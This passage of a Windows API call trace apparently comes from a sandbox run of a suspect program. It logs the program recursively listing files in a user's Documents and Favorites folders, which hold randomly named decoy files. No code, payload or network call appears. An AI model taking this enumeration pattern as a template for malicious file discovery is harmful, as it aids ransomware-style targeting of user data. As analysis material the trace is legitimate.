ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0x857f7f0, ftLastAccessTime.dwHighDateTime=0x1d4d24b, ftLastWriteTime.dwLowDateTime=0x857f7f0, ftLastWriteTime.dwHighDateTime=0x1d4d24b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.523] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbff6210, ftCreationTime.dwHighDateTime=0x1d4ccb2, ftLastAccessTime.dwLowDateTime=0xe79ba590, ftLastAccessTime.dwHighDateTime=0x1d4d2e8, ftLastWriteTime.dwLowDateTime=0xe79ba590, ftLastWriteTime.dwHighDateTime=0x1d4d2e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OBWh_DIngrZmxYk.mp3", cAlternateFileName="OBWH_D~1.MP3")) returned 1 [0266.523] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e056ef0, ftCreationTime.dwHighDateTime=0x1d4c956, ftLastAccessTime.dwLowDateTime=0xce962120, ftLastAccessTime.dwHighDateTime=0x1d4d030, ftLastWriteTime.dwLowDateTime=0xce962120, ftLastWriteTime.dwHighDateTime=0x1d4d030, nFileSizeHigh=0x0, nFileSizeLow=0xd50f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p uXvDzcIfFbqot.odp", cAlternateFileName="PUXVDZ~1.ODP")) returned 1 [0266.523] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14888430, ftCreationTime.dwHighDateTime=0x1d4c810, ftLastAccessTime.dwLowDateTime=0xc00686b0, ftLastAccessTime.dwHighDateTime=0x1d4c719, ftLastWriteTime.dwLowDateTime=0xc00686b0, ftLastWriteTime.dwHighDateTime=0x1d4c719, nFileSizeHigh=0x0, nFileSizeLow=0x16d9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pt He.jpg", cAlternateFileName="PTHE~1.JPG")) returned 1 [0266.523] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d895730, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xeed21bb0, ftLastAccessTime.dwHighDateTime=0x1d4c90a, ftLastWriteTime.dwLowDateTime=0xeed21bb0, ftLastWriteTime.dwHighDateTime=0x1d4c90a, nFileSizeHigh=0x0, nFileSizeLow=0x1448c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ug1Kmdfe1kMSfX_H.m4a", cAlternateFileName="UG1KMD~1.M4A")) returned 1 [0266.523] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d895730, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xeed21bb0, ftLastAccessTime.dwHighDateTime=0x1d4c90a, ftLastWriteTime.dwLowDateTime=0xeed21bb0, ftLastWriteTime.dwHighDateTime=0x1d4c90a, nFileSizeHigh=0x0, nFileSizeLow=0x1448c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ug1Kmdfe1kMSfX_H.m4a", cAlternateFileName="UG1KMD~1.M4A")) returned 0 [0266.523] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0266.523] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\") returned="mbmFXME9ZArqIFJjiii\\" [0266.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0266.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.523] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.523] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.523] PathFindFileNameW (pszPath="") returned="" [0266.523] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4821efb0, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0x186cb060, ftLastAccessTime.dwHighDateTime=0x1d4cc3b, ftLastWriteTime.dwLowDateTime=0x186cb060, ftLastWriteTime.dwHighDateTime=0x1d4cc3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3091560 [0266.527] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4821efb0, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0x186cb060, ftLastAccessTime.dwHighDateTime=0x1d4cc3b, ftLastWriteTime.dwLowDateTime=0x186cb060, ftLastWriteTime.dwHighDateTime=0x1d4cc3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eec69f0, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0xecbc4220, ftLastAccessTime.dwHighDateTime=0x1d4d58e, ftLastWriteTime.dwLowDateTime=0xecbc4220, ftLastWriteTime.dwHighDateTime=0x1d4d58e, nFileSizeHigh=0x0, nFileSizeLow=0x137c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8D Vnyq.pps", cAlternateFileName="8DVNYQ~1.PPS")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d88680, ftCreationTime.dwHighDateTime=0x1d4d249, ftLastAccessTime.dwLowDateTime=0xb0cc21b0, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0xb0cc21b0, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x189b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BykHThXT56fcYaqQV2X.doc", cAlternateFileName="BYKHTH~1.DOC")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x132c4f70, ftCreationTime.dwHighDateTime=0x1d4d35c, ftLastAccessTime.dwLowDateTime=0x496981a0, ftLastAccessTime.dwHighDateTime=0x1d4d59d, ftLastWriteTime.dwLowDateTime=0x496981a0, ftLastWriteTime.dwHighDateTime=0x1d4d59d, nFileSizeHigh=0x0, nFileSizeLow=0x17d75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dv6T5k65sGE5bg7xPK.pps", cAlternateFileName="DV6T5K~1.PPS")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6fdc0, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0x836a6f30, ftLastAccessTime.dwHighDateTime=0x1d4cb80, ftLastWriteTime.dwLowDateTime=0x836a6f30, ftLastWriteTime.dwHighDateTime=0x1d4cb80, nFileSizeHigh=0x0, nFileSizeLow=0x1285c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GoUIrAAbbfuwwj-FRw.ods", cAlternateFileName="GOUIRA~1.ODS")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6f3b1f0, ftCreationTime.dwHighDateTime=0x1d4d4ac, ftLastAccessTime.dwLowDateTime=0x3b198a30, ftLastAccessTime.dwHighDateTime=0x1d4d487, ftLastWriteTime.dwLowDateTime=0x3b198a30, ftLastWriteTime.dwHighDateTime=0x1d4d487, nFileSizeHigh=0x0, nFileSizeLow=0x1772a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hk7Xm32Lt1utxRomo79.pptx", cAlternateFileName="HK7XM3~1.PPT")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ab1300, ftCreationTime.dwHighDateTime=0x1d4d2e7, ftLastAccessTime.dwLowDateTime=0xeba755c0, ftLastAccessTime.dwHighDateTime=0x1d4c853, ftLastWriteTime.dwLowDateTime=0xeba755c0, ftLastWriteTime.dwHighDateTime=0x1d4c853, nFileSizeHigh=0x0, nFileSizeLow=0xa018, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KvTi3ZX.docx", cAlternateFileName="KVTI3Z~1.DOC")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c8bc10, ftCreationTime.dwHighDateTime=0x1d4d365, ftLastAccessTime.dwLowDateTime=0x26245510, ftLastAccessTime.dwHighDateTime=0x1d4d257, ftLastWriteTime.dwLowDateTime=0x26245510, ftLastWriteTime.dwHighDateTime=0x1d4d257, nFileSizeHigh=0x0, nFileSizeLow=0x11cd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lA9UBwHgz3W.docx", cAlternateFileName="LA9UBW~1.DOC")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f02e80, ftCreationTime.dwHighDateTime=0x1d4ca4d, ftLastAccessTime.dwLowDateTime=0xda9d13a0, ftLastAccessTime.dwHighDateTime=0x1d4cdbc, ftLastWriteTime.dwLowDateTime=0xda9d13a0, ftLastWriteTime.dwHighDateTime=0x1d4cdbc, nFileSizeHigh=0x0, nFileSizeLow=0xe252, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nnz1zWbbzOZyy0IcqsRw.ots", cAlternateFileName="NNZ1ZW~1.OTS")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f0fcd0, ftCreationTime.dwHighDateTime=0x1d4d541, ftLastAccessTime.dwLowDateTime=0xcfeb1f40, ftLastAccessTime.dwHighDateTime=0x1d4c8dc, ftLastWriteTime.dwLowDateTime=0xcfeb1f40, ftLastWriteTime.dwHighDateTime=0x1d4c8dc, nFileSizeHigh=0x0, nFileSizeLow=0x18f5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-tHiiR.pdf", cAlternateFileName="")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c3f44e0, ftCreationTime.dwHighDateTime=0x1d4cdb0, ftLastAccessTime.dwLowDateTime=0xf00001a0, ftLastAccessTime.dwHighDateTime=0x1d4cbad, ftLastWriteTime.dwLowDateTime=0xf00001a0, ftLastWriteTime.dwHighDateTime=0x1d4cbad, nFileSizeHigh=0x0, nFileSizeLow=0x171b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spMPG 9xkkM.odp", cAlternateFileName="SPMPG9~1.ODP")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6370c60, ftCreationTime.dwHighDateTime=0x1d4d3d4, ftLastAccessTime.dwLowDateTime=0x934ba380, ftLastAccessTime.dwHighDateTime=0x1d4cc1e, ftLastWriteTime.dwLowDateTime=0x934ba380, ftLastWriteTime.dwHighDateTime=0x1d4cc1e, nFileSizeHigh=0x0, nFileSizeLow=0x10562, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tgy4aDx5L5gYbgCK1.doc", cAlternateFileName="TGY4AD~1.DOC")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c5f5a0, ftCreationTime.dwHighDateTime=0x1d4cedb, ftLastAccessTime.dwLowDateTime=0x88e23790, ftLastAccessTime.dwHighDateTime=0x1d4d107, ftLastWriteTime.dwLowDateTime=0x88e23790, ftLastWriteTime.dwHighDateTime=0x1d4d107, nFileSizeHigh=0x0, nFileSizeLow=0x12b4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UTVyOlBsO.pptx", cAlternateFileName="UTVYOL~1.PPT")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba147b40, ftCreationTime.dwHighDateTime=0x1d4c953, ftLastAccessTime.dwLowDateTime=0x359dba0, ftLastAccessTime.dwHighDateTime=0x1d4d544, ftLastWriteTime.dwLowDateTime=0x359dba0, ftLastWriteTime.dwHighDateTime=0x1d4d544, nFileSizeHigh=0x0, nFileSizeLow=0x4741, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WEpp.ppt", cAlternateFileName="")) returned 1 [0266.527] FindNextFileW (in: hFindFile=0x3091560, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6602e730, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xc4f8e610, ftLastAccessTime.dwHighDateTime=0x1d4ca69, ftLastWriteTime.dwLowDateTime=0xc4f8e610, ftLastWriteTime.dwHighDateTime=0x1d4ca69, nFileSizeHigh=0x0, nFileSizeLow=0x11e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x29MLGrvh.pptx", cAlternateFileName="X29MLG~1.PPT")) returned 1 [0266.528] FindClose (in: hFindFile=0x3091560 | out: hFindFile=0x3091560) returned 1 [0266.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0266.529] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.529] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0266.529] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0266.529] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.529] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.529] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.529] PathFindFileNameW (pszPath="") returned="" [0266.529] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6602e730, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xc4f8e610, ftLastAccessTime.dwHighDateTime=0x1d4ca69, ftLastWriteTime.dwLowDateTime=0xc4f8e610, ftLastWriteTime.dwHighDateTime=0x1d4ca69, nFileSizeHigh=0x0, nFileSizeLow=0x11e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x29MLGrvh.pptx", cAlternateFileName="X29MLG~1.PPT")) returned 0xffffffff [0266.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0266.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.529] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.529] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0266.529] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0266.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.530] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.530] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.530] PathFindFileNameW (pszPath="") returned="" [0266.530] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6602e730, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xc4f8e610, ftLastAccessTime.dwHighDateTime=0x1d4ca69, ftLastWriteTime.dwLowDateTime=0xc4f8e610, ftLastWriteTime.dwHighDateTime=0x1d4ca69, nFileSizeHigh=0x0, nFileSizeLow=0x11e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x29MLGrvh.pptx", cAlternateFileName="X29MLG~1.PPT")) returned 0xffffffff [0266.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0266.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.530] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0266.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0266.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.530] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.530] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.530] PathFindFileNameW (pszPath="") returned="" [0266.530] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3091560 [0266.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0266.532] FindClose (in: hFindFile=0x3091560 | out: hFindFile=0x3091560) returned 1 [0266.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.532] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.532] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0266.532] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0266.532] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.532] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.532] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.532] PathFindFileNameW (pszPath="") returned="" [0266.532] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0266.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0266.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.532] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.533] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0266.533] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0266.533] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.533] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.533] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.533] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.533] PathFindFileNameW (pszPath="") returned="" [0266.533] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3091560 [0266.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0266.534] FindClose (in: hFindFile=0x3091560 | out: hFindFile=0x3091560) returned 1 [0266.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.534] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0266.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0266.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.534] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.534] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.534] PathFindFileNameW (pszPath="") returned="" [0266.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3091560 [0266.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116b18 | out: hHeap=0x640000) returned 1 [0266.535] FindClose (in: hFindFile=0x3091560 | out: hFindFile=0x3091560) returned 1 [0266.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116b80 | out: hHeap=0x640000) returned 1 [0266.535] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.535] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0266.535] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0266.535] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.535] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.535] PathFindFileNameW (pszPath="C:\\") returned="C:\\" 